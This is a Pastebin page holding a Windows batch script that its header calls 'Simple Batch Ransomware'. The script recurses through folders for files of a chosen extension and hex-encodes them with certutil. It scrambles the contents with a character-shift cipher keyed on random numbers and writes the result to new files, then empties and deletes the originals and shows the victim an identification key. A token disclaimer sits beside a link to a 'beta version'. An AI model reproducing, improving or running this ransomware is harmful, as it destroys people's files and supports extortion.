Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM -- *-------------------------------------------------* -- REM
- REM -- Batch ransomware with private key generation. -- REM
- REM -- IT TAKES A LOT TO ENCRYPT ONE FILE!! -- REM
- REM -- USE AT YOUR OWN RISK !!!!! -- REM
- REM -- DO NOT USE THIS FOR HARMFULL PORPUSES -- REM
- REM -- PUBLIC KEY COMING SOON - DONE !!! -- REM
- REM -- ADD SUPPORT FOR MORE EXTENSIONS - COMING SOON -- REM
- REM -- Simple Batch Ransomware / [SBR] -- REM
- REM -- MANY NEW FEATURES COMMING SOON !! -- REM
- REM -- If you want to get beta version go to this link -- REM
- REM -- https://pastebin.com/86DWU761 -- REM
- REM -- *-------------------------------------------------* -- REM
- @echo off
- chcp 1252
- title SBR 0.10
- color 2
- setlocal EnableDelayedExpansion
- set "Alphabet=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- set "lowCase=abcdefghijklmnopqrstuvwxyz"
- setlocal DisableDelayedExpansion
- set "inString=%~2"
- SET /A a=%RANDOM% * 1024 / 32768 + 512
- SET /A b=%RANDOM% * 1024 / 32768 + 512
- set maxLen=%a%
- set offset=%b%
- set r=%random%%random%
- set privatekey=%a%.%b%.%r%.privatekey
- set publickey=publickey.%r%
- set extension=encodeme
- setlocal EnableDelayedExpansion
- cls
- for /f "tokens=*" %%X in ('dir /b /s /o:s *.%extension%') do (
- certutil -encodehex -f "%%X" "%%X.bak" 1
- cls
- for /F "tokens=*" %%A in ('type "%%X.bak"') do (
- cls
- SET "line=%%A"
- call :A %offset% "!line!" a=
- echo %extension%.%publickey%.!a! >> "%%X.%r%"
- type nul > "%%X.bak"
- type nul > "%%X"
- del /Q "%%X.bak"
- del /Q "%%X"
- )
- )
- echo All files with extension : *.%extension%
- echo Your public key for identifiacation : %publickey%
- echo Encrypted files :
- dir /b /s /o:s *.%r%
- pause
- exit
- :A offset "input string" outVar=
- setlocal DisableDelayedExpansion
- set "inString=%~2"
- setlocal EnableDelayedExpansion
- for /L %%i in (0,1,61) do (
- set /A "i=(%%i + %1) %% 62"
- set c["!Alphabet:~%%i,1!"]=!i!
- )
- set "outVar="
- for /L %%i in (0,1,%maxLen%) do (
- set "char=!inString:~%%i,1!"
- if defined char (
- for /F "delims=" %%c in ("!char!") do (
- if defined c["%%c"] (
- set j=!c["%%c"]!
- if "!lowCase:%%c=%%c!" neq "%lowCase%" set /A "j-=26"
- for /F %%j in ("!j!") do set "outVar=!outVar!!Alphabet:~%%j,1!"
- ) else (
- set "outVar=!outVar!!char!"
- )
- )
- )
- )
- (
- endlocal
- for /F "delims=" %%a in ("%outVar:!=^!%") do endlocal & set "%3=%%a"
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement